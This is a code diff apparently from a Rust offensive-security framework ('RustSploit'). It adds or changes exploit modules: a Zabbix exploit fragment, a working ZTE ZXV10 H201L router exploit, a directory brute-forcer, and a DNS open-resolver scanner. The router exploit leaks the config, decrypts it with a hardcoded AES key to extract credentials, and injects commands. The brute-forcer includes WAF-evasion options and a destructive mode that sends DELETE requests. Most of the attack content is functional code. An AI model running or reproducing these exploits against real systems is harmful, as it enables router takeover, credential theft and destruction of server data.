io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut password)
|
||||
.map_err(|e| anyhow!("Failed to read password: {}", e))?;
|
||||
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
if username.is_empty() || password.is_empty() {
|
||||
println!("{}", "[-] Username and password are required".red());
|
||||
return Err(anyhow!("Username and password are required"));
|
||||
}
|
||||
|
||||
// Get the payload choice from the user
|
||||
let payload = get_payload_choice().await?;
|
||||
|
||||
// Run the exploit with the selected payload
|
||||
exploit_zabbix(target, username, password, &payload).await
|
||||
exploit_zabbix(&api_url, &username, &password, &payload).await
|
||||
}
|
||||
|
||||
|
||||
@@ -1,18 +1,51 @@
|
||||
//! ZTE ZXV10 H201L Router RCE via Authentication Bypass
|
||||
//!
|
||||
//! This module exploits a vulnerability in ZTE ZXV10 H201L routers that allows
|
||||
//! unauthenticated access to the router's configuration and subsequent RCE.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **Affected Device**: ZTE ZXV10 H201L
|
||||
//! - **Attack Vector**: Network (HTTP)
|
||||
//! - **Impact**: Remote Code Execution, Credential Disclosure
|
||||
//!
|
||||
//! ## Attack Flow
|
||||
//! 1. Leak encrypted configuration file
|
||||
//! 2. Decrypt configuration to extract credentials
|
||||
//! 3. Login with extracted credentials
|
||||
//! 4. Inject command via DDNS form vulnerability
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - Uses utils.rs for target validation
|
||||
//! - Proper error handling and timeouts
|
||||
//! - Cleans up temporary files after exploitation
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use aes::Aes128;
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, anyhow};
|
||||
use cipher::{BlockDecrypt, KeyInit, Block};
|
||||
use colored::*;
|
||||
use reqwest::{Client, cookie::Jar};
|
||||
use std::{
|
||||
fs::{self, File},
|
||||
io::{Read, Write},
|
||||
io::{Read, Write as StdWrite},
|
||||
net::TcpStream,
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::time::Duration;
|
||||
use std::net::ToSocketAddrs;
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_int_range,
|
||||
};
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ZTE ZXV10 H201L RCE + Authentication Bypass ║".cyan());
|
||||
println!("{}", "║ Router Configuration Leak & Command Injection ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// AES-128 ECB decrypt without padding
|
||||
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
|
||||
@@ -34,25 +67,42 @@ fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Extract host and port from target
|
||||
fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
if target.contains("]:") {
|
||||
let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
|
||||
let port = parts[0].parse::<u16>()?;
|
||||
let host = parts[1].trim_start_matches('[').to_string();
|
||||
return Ok((host, port));
|
||||
} else if target.contains(':') {
|
||||
let parts: Vec<&str> = target.splitn(2, ':').collect();
|
||||
let port = parts[1].parse::<u16>()?;
|
||||
return Ok((parts[0].to_string(), port));
|
||||
/// Parse and validate target using utils.rs normalize_target
|
||||
/// Returns (host, port) tuple with proper IPv6 handling
|
||||
async fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
// Use utils.rs normalize_target for comprehensive validation
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// Check if normalized result contains a port
|
||||
if normalized.starts_with('[') {
|
||||
// IPv6 format: [::1]:port or [::1]
|
||||
if let Some(bracket_end) = normalized.find(']') {
|
||||
let host = normalized[1..bracket_end].to_string();
|
||||
let rest = &normalized[bracket_end + 1..];
|
||||
if rest.starts_with(':') {
|
||||
let port = rest[1..].parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port number"))?;
|
||||
return Ok((host, port));
|
||||
} else {
|
||||
// No port provided, prompt for it
|
||||
let port = prompt_int_range("Target port", 80, 1, 65535).await? as u16;
|
||||
return Ok((host, port));
|
||||
}
|
||||
}
|
||||
return Err(anyhow!("Invalid IPv6 format"));
|
||||
}
|
||||
|
||||
// IPv4 or hostname format: host:port or host
|
||||
if let Some(colon_pos) = normalized.rfind(':') {
|
||||
let host = normalized[..colon_pos].to_string();
|
||||
let port = normalized[colon_pos + 1..].parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port number"))?;
|
||||
Ok((host, port))
|
||||
} else {
|
||||
// No port provided, prompt for it
|
||||
let port = prompt_int_range("Target port", 80, 1, 65535).await? as u16;
|
||||
Ok((normalized, port))
|
||||
}
|
||||
|
||||
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let port = input.trim().parse::<u16>()?;
|
||||
Ok((target.to_string(), port))
|
||||
}
|
||||
|
||||
/// Leak the router config file
|
||||
@@ -63,7 +113,7 @@ fn leak_config(host: &str, port: u16) -> Result<()> {
|
||||
let addr = (host, port)
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
.ok_or_else(|| anyhow!("Could not resolve address"))?;
|
||||
let timeout = Duration::from_secs(5);
|
||||
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
|
||||
|
||||
@@ -82,13 +132,13 @@ fn leak_config(host: &str, port: u16) -> Result<()> {
|
||||
host, port, boundary, body.len(), body
|
||||
);
|
||||
|
||||
conn.write_all(request.as_bytes())?;
|
||||
StdWrite::write_all(&mut conn, request.as_bytes())?;
|
||||
|
||||
let mut response = vec![];
|
||||
conn.read_to_end(&mut response)?;
|
||||
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
|
||||
let body = &response[start + 4..];
|
||||
File::create("config.bin")?.write_all(body)?;
|
||||
StdWrite::write_all(&mut File::create("config.bin")?, body)?;
|
||||
}
|
||||
|
||||
println!("[+] Config saved to config.bin");
|
||||
@@ -137,7 +187,7 @@ async fn login(session: &Client, host: &str, port: u16, username: &str, password
|
||||
|
||||
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
|
||||
.ok_or_else(|| anyhow!("Login token not found"))?;
|
||||
|
||||
let params = [
|
||||
("Username", username),
|
||||
@@ -215,7 +265,13 @@ async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
|
||||
|
||||
/// Dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let (host, port) = parse_target(target)?;
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let (host, port) = parse_target(target).await?;
|
||||
println!("{}", format!("[*] Attacking {}:{}", host, port).cyan());
|
||||
|
||||
let config_key = b"Renjx%2$CjM";
|
||||
match exploit(config_key, &host, port).await {
|
||||
Ok(_) => {
|
||||
@@ -228,3 +284,4 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,470 @@
|
||||
use anyhow::{Result, Context, anyhow};
|
||||
use colored::*;
|
||||
use reqwest::{Client, Method, header};
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use std::fs;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no, prompt_wordlist,
|
||||
normalize_target, load_lines, prompt_existing_file
|
||||
};
|
||||
use rand::seq::IndexedRandom;
|
||||
|
||||
// --- Constants & Data ---
|
||||
|
||||
const USER_AGENTS: &[&str] = &[
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
|
||||
"RustSploit/0.3",
|
||||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
||||
];
|
||||
|
||||
const COMMON_STATUS_CODES: &[u16] = &[200, 201, 204, 301, 302, 307, 401, 403, 405, 421, 500];
|
||||
|
||||
// --- Configuration Structs ---
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct DirBruteConfig {
|
||||
pub target_host: String,
|
||||
pub protocol: String, // http or https
|
||||
pub port: u16,
|
||||
pub base_path: String, // e.g. "/" or "/api/"
|
||||
pub wordlist_path: String,
|
||||
|
||||
// Scan Settings
|
||||
pub scan_mode: u8, // 1=GET, 2=NUKE (Safe), 3=DESTROY (Delete)
|
||||
pub concurrency: usize,
|
||||
pub delay_ms: u64,
|
||||
|
||||
// Evasion
|
||||
pub random_agent: bool,
|
||||
pub custom_cookies: Option<String>, // e.g. "cf_clearance=...; _cfduid=..."
|
||||
|
||||
// Reporting
|
||||
pub verbose: bool,
|
||||
}
|
||||
|
||||
impl Default for DirBruteConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target_host: String::new(),
|
||||
protocol: "http".to_string(),
|
||||
port: 80,
|
||||
base_path: "/".to_string(),
|
||||
wordlist_path: String::new(),
|
||||
scan_mode: 1,
|
||||
concurrency: 10,
|
||||
delay_ms: 200,
|
||||
random_agent: false,
|
||||
custom_cookies: None,
|
||||
verbose: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Main Entry Point ---
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
// 1. Wizard Menu
|
||||
println!("{}", "Select Operation Mode:".cyan().bold());
|
||||
println!("1. Quick Attack (Default Settings)");
|
||||
println!("2. Create Template (Wizard -> Save)");
|
||||
println!("3. Load Template (Load -> Run)");
|
||||
println!("4. Custom Attack (Wizard -> Run)");
|
||||
|
||||
let choice = prompt_default("Selection", "1").await?;
|
||||
|
||||
let config = match choice.as_str() {
|
||||
"1" => setup_quick_attack(target).await?,
|
||||
"2" => {
|
||||
let cfg = setup_wizard(target).await?;
|
||||
save_template(&cfg).await?;
|
||||
println!("\n{}", "Template saved. Exiting module.".green());
|
||||
return Ok(());
|
||||
},
|
||||
"3" => load_template().await?,
|
||||
"4" => setup_wizard(target).await?,
|
||||
_ => {
|
||||
println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow());
|
||||
setup_quick_attack(target).await?
|
||||
}
|
||||
};
|
||||
|
||||
// 2. Execution
|
||||
execute_scan(config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced Directory Brute Force ║".cyan());
|
||||
println!("{}", "║ Features: Nuke Mode, WAF Evasion, Config Manager ║".red());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
// --- Setup Helpers ---
|
||||
|
||||
async fn setup_quick_attack(initial_target: &str) -> Result<DirBruteConfig> {
|
||||
println!("\n{}", "--- Quick Attack Setup ---".blue().bold());
|
||||
|
||||
// 1. Target
|
||||
let (proto, host, port, path) = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// 2. Wordlist
|
||||
let wordlist = prompt_wordlist("Wordlist path").await?;
|
||||
|
||||
Ok(DirBruteConfig {
|
||||
target_host: host,
|
||||
protocol: proto,
|
||||
port,
|
||||
base_path: path,
|
||||
wordlist_path: wordlist,
|
||||
verbose: false,
|
||||
..DirBruteConfig::default()
|
||||
})
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<DirBruteConfig> {
|
||||
println!("\n{}", "--- Advanced Configuration Wizard ---".blue().bold());
|
||||
|
||||
// 1. Target
|
||||
let (proto, host, port, path) = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// 2. Scan Mode
|
||||
println!("\n{}", "Select Scan Mode:".cyan());
|
||||
println!("1. Standard (GET only) - [Recommended]");
|
||||
println!("2. Nuke Mode (GET, POST, PUT, HEAD, OPTIONS...) - Noisy!");
|
||||
println!("3. TOTAL DESTRUCTION (Level 2 + DELETE) - DANGEROUS");
|
||||
|
||||
let mode_str = prompt_default("Mode", "1").await?;
|
||||
let scan_mode = match mode_str.as_str() {
|
||||
"3" => {
|
||||
println!("\n{}", "!!! CRITICAL WARNING !!!".on_red().white().bold());
|
||||
println!("{}", "You have selected TOTAL DESTRUCTION mode.".red().bold());
|
||||
println!("This will attempt HTTP DELETE method on discovered resources.");
|
||||
println!("This can PERMANENTLY DESTROY data on the target server.");
|
||||
let confirm = prompt_required("Type 'DESTROY' to confirm").await?;
|
||||
if confirm != "DESTROY" {
|
||||
println!("{}", "Confirmation failed. Reverting to Standard Mode.".yellow());
|
||||
1
|
||||
} else {
|
||||
3
|
||||
}
|
||||
},
|
||||
"2" => {
|
||||
println!("\n{}", "[!] Warning: Nuke Mode sends multiple requests per path.".yellow());
|
||||
if prompt_yes_no("Continue?", true).await? { 2 } else { 1 }
|
||||
},
|
||||
_ => 1
|
||||
};
|
||||
|
||||
// 3. Wordlist
|
||||
let wordlist = prompt_wordlist("Wordlist path").await?;
|
||||
|
||||
// 4. Performance
|
||||
let concurrency: usize = prompt_default("Concurrency (Threads)", "10").await?.parse().unwrap_or(10);
|
||||
let delay_ms: u64 = prompt_default("Delay per request (ms)", "200").await?.parse().unwrap_or(200);
|
||||
|
||||
// 5. Evasion
|
||||
let random_agent = prompt_yes_no("Use Random User-Agents?", false).await?;
|
||||
|
||||
let custom_cookies = if prompt_yes_no("Configure Custom Cookies (WAF/Cloudflare)?", false).await? {
|
||||
println!("{}", "Enter cookie string (e.g. 'cf_clearance=XXX; _cfduid=YYY')".dimmed());
|
||||
Some(prompt_required("Cookies").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// 6. Reporting
|
||||
let verbose = prompt_yes_no("Verbose Output (show 403s)?", false).await?;
|
||||
|
||||
Ok(DirBruteConfig {
|
||||
target_host: host,
|
||||
protocol: proto,
|
||||
port,
|
||||
base_path: path,
|
||||
wordlist_path: wordlist,
|
||||
scan_mode,
|
||||
concurrency,
|
||||
delay_ms,
|
||||
random_agent,
|
||||
custom_cookies,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
// Interactive target parser logic
|
||||
async fn parse_target_interactive(raw: &str) -> Result<(String, String, u16, String)> {
|
||||
// Basic normalization from utils
|
||||
let resolved_ip = if raw.is_empty() {
|
||||
prompt_required("Target Host/IP").await?
|
||||
} else {
|
||||
let normalized = normalize_target(raw)?;
|
||||
// strip port if present in normalized, we ask for it separately to allow http/https logic
|
||||
if let Some((host, _)) = normalized.split_once(':') {
|
||||
host.to_string()
|
||||
} else {
|
||||
normalized
|
||||
}
|
||||
};
|
||||
|
||||
let use_https = prompt_yes_no("Use HTTPS?", true).await?;
|
||||
let proto = if use_https { "https".to_string() } else { "http".to_string() };
|
||||
|
||||
let def_port = if use_https { "443" } else { "80" };
|
||||
let port: u16 = prompt_default(&format!("Port (default {})", def_port), def_port).await?
|
||||
.parse()
|
||||
.context("Invalid port")?;
|
||||
|
||||
let path_input = prompt_default("Base Path (must end with /)", "/").await?;
|
||||
|
||||
// Slash check logic
|
||||
let path = if !path_input.ends_with('/') {
|
||||
if prompt_yes_no("Path does not end with '/'. Append it?", true).await? {
|
||||
format!("{}/", path_input)
|
||||
} else {
|
||||
if !prompt_yes_no("Continue without trailing slash? (May break scanning)", false).await? {
|
||||
return Err(anyhow!("Aborted by user due to path format."));
|
||||
}
|
||||
path_input
|
||||
}
|
||||
} else {
|
||||
path_input
|
||||
};
|
||||
|
||||
Ok((proto, resolved_ip, port, path))
|
||||
}
|
||||
|
||||
// --- Persistence ---
|
||||
|
||||
async fn save_template(config: &DirBruteConfig) -> Result<()> {
|
||||
let name = prompt_default("Template Name (e.g. 'myscan.json')", "scan_template.json").await?;
|
||||
let json = serde_json::to_string_pretty(config)?;
|
||||
fs::write(&name, json).context("Failed to write template file")?;
|
||||
println!("Saved config to {}", name);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn load_template() -> Result<DirBruteConfig> {
|
||||
let path = prompt_existing_file("Template File Path").await?;
|
||||
let content = fs::read_to_string(&path)?;
|
||||
let config: DirBruteConfig = serde_json::from_str(&content).context("Invalid template format")?;
|
||||
|
||||
println!("{}", "Loaded Configuration:".green());
|
||||
println!("Target: {}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path);
|
||||
println!("Mode: Level {}", config.scan_mode);
|
||||
println!("Wordlist: {}", config.wordlist_path);
|
||||
|
||||
if !prompt_yes_no("Run this configuration?", true).await? {
|
||||
return Err(anyhow!("User cancelled after loading template."));
|
||||
}
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
// --- Execution Engine ---
|
||||
|
||||
struct ScanResult {
|
||||
path: String,
|
||||
method: String,
|
||||
status: u16,
|
||||
len: u64,
|
||||
}
|
||||
|
||||
async fn execute_scan(config: DirBruteConfig) -> Result<()> {
|
||||
let lines = load_lines(&config.wordlist_path)?;
|
||||
let total = lines.len();
|
||||
println!("\n{}", format!("Loaded {} words. Starting scan...", total).blue().bold());
|
||||
|
||||
let base_url = format!("{}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path);
|
||||
|
||||
// Build Client
|
||||
let mut headers = header::HeaderMap::new();
|
||||
if let Some(cookies) = &config.custom_cookies {
|
||||
headers.insert(header::COOKIE, cookies.parse().context("Invalid cookie string")?);
|
||||
}
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
let sem = Arc::new(Semaphore::new(config.concurrency));
|
||||
let results_mutex = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let forbidden_count = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let methods = get_methods_for_mode(config.scan_mode);
|
||||
let delay = Duration::from_millis(config.delay_ms);
|
||||
|
||||
println!("{}", format!("Target Base: {}", base_url).cyan());
|
||||
println!("{}", "Press Ctrl+C to stop (handler not implemented, so just wait)".dimmed());
|
||||
println!("{}", "---------------------------------------------------");
|
||||
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for word in lines {
|
||||
let sem = Arc::clone(&sem);
|
||||
let client = client.clone();
|
||||
let base = base_url.clone();
|
||||
let r_mutex = Arc::clone(&results_mutex);
|
||||
let f_count = Arc::clone(&forbidden_count);
|
||||
let methods = methods.clone();
|
||||
|
||||
let config_verbose = config.verbose;
|
||||
let random_agent = config.random_agent;
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
|
||||
// Apply delay
|
||||
if delay.as_millis() > 0 {
|
||||
tokio::time::sleep(delay).await;
|
||||
}
|
||||
|
||||
let url = format!("{}{}", base, word);
|
||||
|
||||
for method in methods {
|
||||
let mut req_builder = client.request(method.clone(), &url);
|
||||
|
||||
if random_agent {
|
||||
let agent = USER_AGENTS.choose(&mut rand::rng()).unwrap_or(&"RustSploit");
|
||||
req_builder = req_builder.header(header::USER_AGENT, *agent);
|
||||
} else {
|
||||
req_builder = req_builder.header(header::USER_AGENT, "RustSploit/0.3");
|
||||
}
|
||||
|
||||
match req_builder.send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status().as_u16();
|
||||
let len = resp.content_length().unwrap_or(0);
|
||||
|
||||
// Special handling for 403 Forbidden
|
||||
if status == 403 {
|
||||
f_count.fetch_add(1, Ordering::Relaxed);
|
||||
if !config_verbose {
|
||||
continue; // Skip printing if not verbose
|
||||
}
|
||||
}
|
||||
|
||||
// Determine if "Interesting"
|
||||
if COMMON_STATUS_CODES.contains(&status) {
|
||||
let method_str = method.as_str();
|
||||
|
||||
// Enhanced Color Logic
|
||||
let status_display = if status >= 200 && status < 300 {
|
||||
format!("{} {}", "[FOUND]".green().bold(), status.to_string().green())
|
||||
} else if status >= 300 && status < 400 {
|
||||
format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue())
|
||||
} else if status >= 500 {
|
||||
format!("{} {}", "[ERROR]".red().bold(), status.to_string().red())
|
||||
} else if status == 403 || status == 401 {
|
||||
format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow())
|
||||
} else {
|
||||
format!("[{}]", status).white().to_string()
|
||||
};
|
||||
|
||||
println!("{} Size: {} | Method: {} | {}",
|
||||
status_display,
|
||||
len.to_string().dimmed(),
|
||||
method_str.bold(),
|
||||
url
|
||||
);
|
||||
|
||||
let res = ScanResult {
|
||||
path: url.clone(),
|
||||
method: method.to_string(),
|
||||
status,
|
||||
len,
|
||||
};
|
||||
r_mutex.lock().await.push(res);
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
});
|
||||
tasks.push(task);
|
||||
}
|
||||
|
||||
// Await all
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", "Scan Complete.".green().bold());
|
||||
|
||||
// 403 Summary
|
||||
let f_total = forbidden_count.load(Ordering::Relaxed);
|
||||
if f_total > 0 && !config.verbose {
|
||||
println!("{}", format!("[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", f_total).yellow());
|
||||
}
|
||||
|
||||
// Report & Save
|
||||
let final_results = results_mutex.lock().await;
|
||||
if !final_results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
|
||||
let sort_choice = prompt_default("Sort by (1) Status or (2) Size", "1").await?;
|
||||
|
||||
let mut sorted: Vec<&ScanResult> = final_results.iter().collect();
|
||||
if sort_choice == "2" {
|
||||
sorted.sort_by(|a, b| b.len.cmp(&a.len)); // Size desc
|
||||
} else {
|
||||
sorted.sort_by(|a, b| a.status.cmp(&b.status)); // Status asc
|
||||
}
|
||||
|
||||
let filename = format!("scan_results_{}.txt", chrono::Local::now().format("%Y%m%d_%H%M%S"));
|
||||
let mut file_content = String::new();
|
||||
for r in sorted {
|
||||
use std::fmt::Write;
|
||||
writeln!(file_content, "[{}] {} | Size: {} | Method: {} | {}",
|
||||
r.status, get_status_text(r.status), r.len, r.method, r.path).unwrap();
|
||||
}
|
||||
|
||||
fs::write(&filename, file_content)?;
|
||||
println!("Results saved to {}", filename.green());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn get_methods_for_mode(mode: u8) -> Vec<Method> {
|
||||
match mode {
|
||||
3 => vec![
|
||||
Method::GET, Method::POST, Method::PUT, Method::DELETE,
|
||||
Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE,
|
||||
Method::CONNECT
|
||||
],
|
||||
2 => vec![
|
||||
Method::GET, Method::POST, Method::PUT,
|
||||
Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE,
|
||||
Method::CONNECT
|
||||
],
|
||||
_ => vec![Method::GET], // Level 1
|
||||
}
|
||||
}
|
||||
|
||||
fn get_status_text(code: u16) -> &'static str {
|
||||
match code {
|
||||
200 => "OK",
|
||||
201 => "Created",
|
||||
204 => "No Content",
|
||||
301 => "Moved Permanently",
|
||||
302 => "Found",
|
||||
307 => "Temporary Redirect",
|
||||
401 => "Unauthorized",
|
||||
403 => "Forbidden",
|
||||
404 => "Not Found",
|
||||
405 => "Method Not Allowed",
|
||||
421 => "Misdirected Request",
|
||||
500 => "Internal Server Error",
|
||||
_ => "",
|
||||
}
|
||||
}
|
||||
@@ -3,7 +3,8 @@ use colored::*;
|
||||
use rand::Rng;
|
||||
use std::collections::HashSet;
|
||||
use std::fs::File;
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::io::{BufRead, BufReader};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
@@ -22,11 +23,19 @@ struct TargetSpec {
|
||||
port: Option<u16>,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ DNS Recursion & Amplification Scanner ║".cyan());
|
||||
println!("{}", "║ Detects open resolvers that may be abused for DoS attacks ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Scan DNS resolvers for open recursion with improved input validation.
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
println!("\n=== DNS Recursion & Amplification Scanner ===");
|
||||
display_banner();
|
||||
|
||||
let mut targets = collect_targets(initial_target)?;
|
||||
let mut targets = collect_targets(initial_target).await?;
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"No valid targets provided. Supply at least one IP/hostname."
|
||||
@@ -35,17 +44,17 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let needs_default_port = targets.iter().any(|t| t.port.is_none());
|
||||
let default_port = if needs_default_port {
|
||||
prompt_port("Default DNS port for targets without port", 53)?
|
||||
prompt_port("Default DNS port for targets without port", 53).await?
|
||||
} else {
|
||||
53
|
||||
};
|
||||
|
||||
let default_domain = random_test_domain();
|
||||
let query_name_input = prompt_default("Domain to query", &default_domain)?;
|
||||
let query_name_input = prompt_default("Domain to query", &default_domain).await?;
|
||||
let query_name = validate_domain_input(&query_name_input)?;
|
||||
|
||||
let record_input =
|
||||
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
|
||||
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY").await?;
|
||||
let record_type = parse_record_type(&record_input)?;
|
||||
|
||||
println!(
|
||||
@@ -60,6 +69,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let mut any_success = false;
|
||||
let mut last_error: Option<anyhow::Error> = None;
|
||||
let mut vulnerable_count = 0usize;
|
||||
let mut tested_count = 0usize;
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
println!();
|
||||
|
||||
for spec in targets.drain(..) {
|
||||
let port = spec.port.unwrap_or(default_port);
|
||||
@@ -70,10 +84,12 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
spec.input
|
||||
);
|
||||
|
||||
tested_count += 1;
|
||||
|
||||
match resolve_target(&spec.host, port).await {
|
||||
Ok((socket_addr, resolved_display)) => {
|
||||
println!("[*] Target resolver: {}", resolved_display);
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type).await {
|
||||
println!("{}", format!("[*] Target resolver: {}", resolved_display).cyan());
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type, &mut vulnerable_count).await {
|
||||
Ok(()) => any_success = true,
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
@@ -94,6 +110,25 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets tested: {}", tested_count);
|
||||
println!(" Vulnerable (open): {}", if vulnerable_count > 0 {
|
||||
vulnerable_count.to_string().red().bold().to_string()
|
||||
} else {
|
||||
"0".green().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if vulnerable_count > 0 {
|
||||
println!();
|
||||
println!("{}", "[!] WARNING: Open recursive DNS resolvers detected!".red().bold());
|
||||
println!("{}", " These can be abused for DNS amplification attacks.".yellow());
|
||||
}
|
||||
|
||||
if any_success {
|
||||
Ok(())
|
||||
} else {
|
||||
@@ -106,6 +141,7 @@ async fn query_target(
|
||||
display_target: &str,
|
||||
name: &Name,
|
||||
record_type: RecordType,
|
||||
vulnerable_count: &mut usize,
|
||||
) -> Result<()> {
|
||||
println!(
|
||||
"[*] Sending {} query (timeout 5s) to {}",
|
||||
@@ -124,12 +160,16 @@ async fn query_target(
|
||||
.with_context(|| format!("DNS query to {} failed", display_target))?;
|
||||
|
||||
let (message, _) = response.into_parts();
|
||||
report_result(&message, display_target, record_type);
|
||||
let is_vulnerable = report_result(&message, display_target, record_type);
|
||||
|
||||
if is_vulnerable {
|
||||
*vulnerable_count += 1;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn report_result(message: &Message, display_target: &str, record_type: RecordType) {
|
||||
fn report_result(message: &Message, display_target: &str, record_type: RecordType) -> bool {
|
||||
let recursion_available = message.recursion_available();
|
||||
let recursion_desired = message.recursion_desired();
|
||||
let authoritative = message.authoritative();
|
||||
